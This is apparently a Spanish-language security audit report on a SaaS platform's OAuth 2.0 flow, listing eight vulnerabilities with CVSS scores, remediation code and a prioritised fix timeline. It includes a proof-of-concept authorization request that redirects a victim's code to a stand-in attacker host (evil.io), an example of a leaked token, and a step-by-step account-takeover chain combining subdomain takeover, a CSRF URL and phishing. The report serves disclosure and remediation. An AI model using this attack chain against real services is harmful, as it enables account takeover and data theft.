La auditoría ofensiva del flujo OAuth 2.0 de GrowStack SaaS ha identificado 8 vulnerabilidades, de las cuales 2 son de severidad CRÍTICA y permiten el Account Takeover (ATO) completo de cualquier usuario de la plataforma mediante un único payload CSRF combinado con un open redirect en el subdominio help.growstack.io.
El uso del Implicit Flow legacy para el conector HubSpot expone tokens de acceso directamente en la URL, y el almacenamiento en localStorage los hace accesibles a cualquier XSS en los dominios *.growstack.io. La ausencia de PKCE en clientes confidenciales viola tanto OAuth 2.1 como los requisitos mínimos del conector oficial de HubSpot (OAuth 2.0 con PKCE obligatorio desde 2025).
Se recomienda priorizar el remplazo inmediato del Implicit Flow por Authorization Code + PKCE y la validación estricta de redirect_uri antes de la próxima ventana de release (plazo recomendado: 48h para los ítems P1).
CVSS v3.1 — Puntuación Máxima Registrada
🔴
Vulnerabilidades Identificadas
| ID |
Vulnerabilidad |
Severidad |
CVSS |
Endpoint |
CWE |
Estado |
| GS-001 |
CSRF + Open Redirect → Account Takeover Ausencia de state + redirect_uri wildcard encadenados |
Crítico |
9.3 |
/oauth/authorize
/api/profile/link |
CWE-601 CWE-352 |
● Abierto |
| GS-002 |
Implicit Flow Activo (HubSpot) Token expuesto en fragment URL, accesible via Referer header |
Crítico |
8.8 |
/oauth/authorize?response_type=token |
CWE-200 |
● Abierto |
| GS-003 |
redirect_uri sin validación exacta Acepta *.growstack.io — susceptible a subdomain takeover |
Alto |
8.1 |
/oauth/authorize |
CWE-601 CWE-20 |
● Abierto |
| GS-004 |
Access Tokens en localStorage (XSS-accesibles) Sin HttpOnly cookie ni memory-only storage |
Alto |
7.4 |
Frontend React SPA |
CWE-922 |
● Abierto |
| GS-005 |
TTL excesivo de Access Token (24h) OAuth 2.1 recomienda máximo 5-15 minutos |
Medio |
5.3 |
/oauth/token |
CWE-613 |
● Abierto |
| GS-006 |
PKCE no obligatorio en clientes confidenciales code_verifier omitido sin error; Authorization Code Injection viable |
Medio |
5.9 |
/oauth/token |
CWE-287 |
● Abierto |
| GS-007 |
Refresh Token sin rotación ni reuse detection Token reutilizable indefinidamente; sin invalidación en cadena |
Bajo |
3.7 |
/api/token/refresh |
CWE-613 |
● Abierto |
| GS-008 |
client_secret expuesto en bundle JS (dev build) Encontrado en .env comiteado al repo público de GitHub |
Info |
2.3 |
GitHub repo (público) |
CWE-798 |
● En revisión |
🎯
Detalles de Vulnerabilidades Críticas
Descripción
El endpoint /api/profile/link no incluye el parámetro state en la solicitud de autorización OAuth al vincular cuentas sociales. Combinado con el open redirect en help.growstack.io/redirect?url=, un atacante puede forzar la vinculación de su cuenta Google al perfil de la víctima.
Vector de Prueba (PoC)
GET /oauth/authorize?
client_id=growstack-prod&
redirect_uri=https://help.growstack.io/redirect?url=https://evil.io/capture&
response_type=code&
scope=profile+email
https://evil.io/capture?code=AUTH_CODE_VICTIMA
POST /oauth/token
code=AUTH_CODE_VICTIMA&
client_id=growstack-prod&
redirect_uri=[original]
Impacto
▸Account Takeover completo de cualquier usuario
▸Acceso a cuentas conectadas (Google Ads, Facebook Business)
▸Exfiltración de datos de campañas y audiencias
▸Posibilidad de lanzar campañas maliciosas con crédito ajeno
▸Sin logs de alerta (transacción OAuth normal)
Remediación Inmediata
const state = crypto.randomBytes(32).toString('hex');
session.oauthState = state;
if (req.query.state !== session.oauthState) {
throw new Error('State mismatch — CSRF attack');
}
const ALLOWED = ['https://app.growstack.io/callback'];
Descripción
El conector HubSpot usa response_type=token (Implicit Flow). El access_token aparece en el fragment de la URL (#access_token=…). Si la SPA carga recursos de terceros (analytics, CDN), el token puede filtrarse via Referer header o via document.referrer accesible a scripts inyectados.
Prueba Verificada
https://app.growstack.io/callback
#access_token=ya29.a0AfB_byBK...
&token_type=Bearer
&expires_in=86400
&scope=crm.objects.contacts.read
Referer: https://app.growstack.io/callback#access_token=ya29...
Impacto
▸Token HubSpot expuesto a todos los scripts de terceros
▸Acceso a 24h de datos CRM del usuario (contactos, deals)
▸Sin refresh token → sin rotación posible
▸HubSpot exige Migration a PKCE desde Q1-2025
Remediación
const verifier = base64url(crypto.randomBytes(32));
const challenge = base64url(sha256(verifier));
GET /oauth/authorize?
response_type=code&
code_challenge=${challenge}&
code_challenge_method=S256
⛓
Cadena de Ataque Completa (GS-001 + GS-003 + GS-004)
Escenario: Atacante sin autenticar → Account Takeover + acceso persistente
Paso 1
Reconocimiento
Identificar subdomain
help.growstack.io
sin CNAME activo
→
Paso 2
Subdomain Takeover
Registrar CNAME en
Vercel/Netlify hacia
evil server
→
Paso 3
CSRF Payload
Craft URL OAuth sin state
redirect_uri=help.growstack.io
(dominio "confiable")
→
Paso 4
Ingeniería Social
Phishing URL a víctima
(mail/LinkedIn)
Clic necesario
→
Paso 5
Código Capturado
Authorization code
redirigido al
evil server
→
🔥 Account Takeover
Acceso completo + Google Ads
+ Facebook Biz + HubSpot CRM
✅
Checklist de Pruebas OAuth (Estado de Cobertura)
🔐 Validación redirect_uri
❌Validación exacta de redirect_uriGS-003
❌No se permiten wildcards ni subdominiosGS-003
❌Protección contra open redirect en dominioGS-001
✅HTTPS obligatorio en redirect_uriOK
⚠redirect_uri en lista blanca pre-registradaParcial
🛡 Parámetro State / CSRF
❌state obligatorio en todos los flujosGS-001
❌state criptográficamente aleatorioGS-001
❌state de un solo usoGS-001
❌Validación de state en callbackGS-001
✅state presente en flujo Google AdsOK
🔑 PKCE (Proof Key for Code Exchange)
❌PKCE implementado en todos los flowsGS-006
❌code_verifier requerido en /tokenGS-006
❌method S256 (no plain)GS-006
❌Implicit Flow eliminadoGS-002
✅Authorization Code Flow como baseOK
🗝 Gestión de Tokens
❌Access token TTL ≤ 15 minutosGS-005
❌Refresh token rotation activaGS-007
❌Tokens en HttpOnly cookie (no localStorage)GS-004
⚠Refresh token reuse detectionNo impl.
✅Access tokens firmados (HS256)OK
🔧
Plan de Remediación Priorizado
🔴 P1 — Acción Inmediata (48h)
▸Deshabilitar Implicit Flow (response_type=token)48h
▸Implementar state obligatorio en /api/profile/link48h
▸Cambiar validación redirect_uri a lista blanca exacta48h
▸Revocar tokens activos de sesiones comprometidasInmediato
🟠 P2 — Sprint actual (1 semana)
▸Migrar HubSpot connector a Authorization Code + PKCE S2565d
▸Mover tokens a HttpOnly; Secure; SameSite=Strict cookies5d
▸Reducir TTL access token de 24h → 15 minutos3d
▸Rotar client_secret comprometido + invalidar en GitHubInmediato
🟡 P3 — Próximo sprint (2-3 semanas)
▸Implementar refresh token rotation con reuse detection14d
▸Habilitar PKCE para clientes confidenciales (obligatorio)14d
▸Añadir CSP headers para mitigar XSS → token theft10d
▸Auditar scopes mínimos en conectores (principio mínimo privilegio)14d
🔵 P4 — Roadmap seguridad (Q3 2026)
▸Evaluar adopción de PAR (Pushed Authorization Requests)Q3
▸Implementar DPoP para token binding en API críticasQ3
▸Auditoría periódica OAuth cada 6 mesesQ3
▸Rotación de JWKS signing keys (política 6 meses)Q3
📅
Timeline de Remediación
Semana 0 — Inmediato
Deshabilitar Implicit Flow + Aplicar state CSRF + Revocar credenciales
GS-001, GS-002 (mitigación parcial), GS-008. Responsable: equipo backend + DevOps
Semana 1 — Sprint urgente
Migración PKCE + Hardening redirect_uri + Reducir TTL tokens + Migrar a HttpOnly cookies
GS-002 (completo), GS-003, GS-004, GS-005. Responsable: engineering team
Semana 2-3 — Siguiente sprint
Refresh token rotation + PKCE obligatorio + CSP + Scope audit
GS-006, GS-007. Responsable: security engineer + frontend
Semana 4 — Verificación
Re-test de todos los ítems P1-P3 por CULTIVA IA
Validación de remediaciones. Emisión de certificado de cierre de vulnerabilidades críticas
Q3 2026 — Hardening avanzado
PAR + DPoP + Auditoría recurrente
GS-P4 items. Adopción de OAuth 2.1 completo y FAPI 2.0 baseline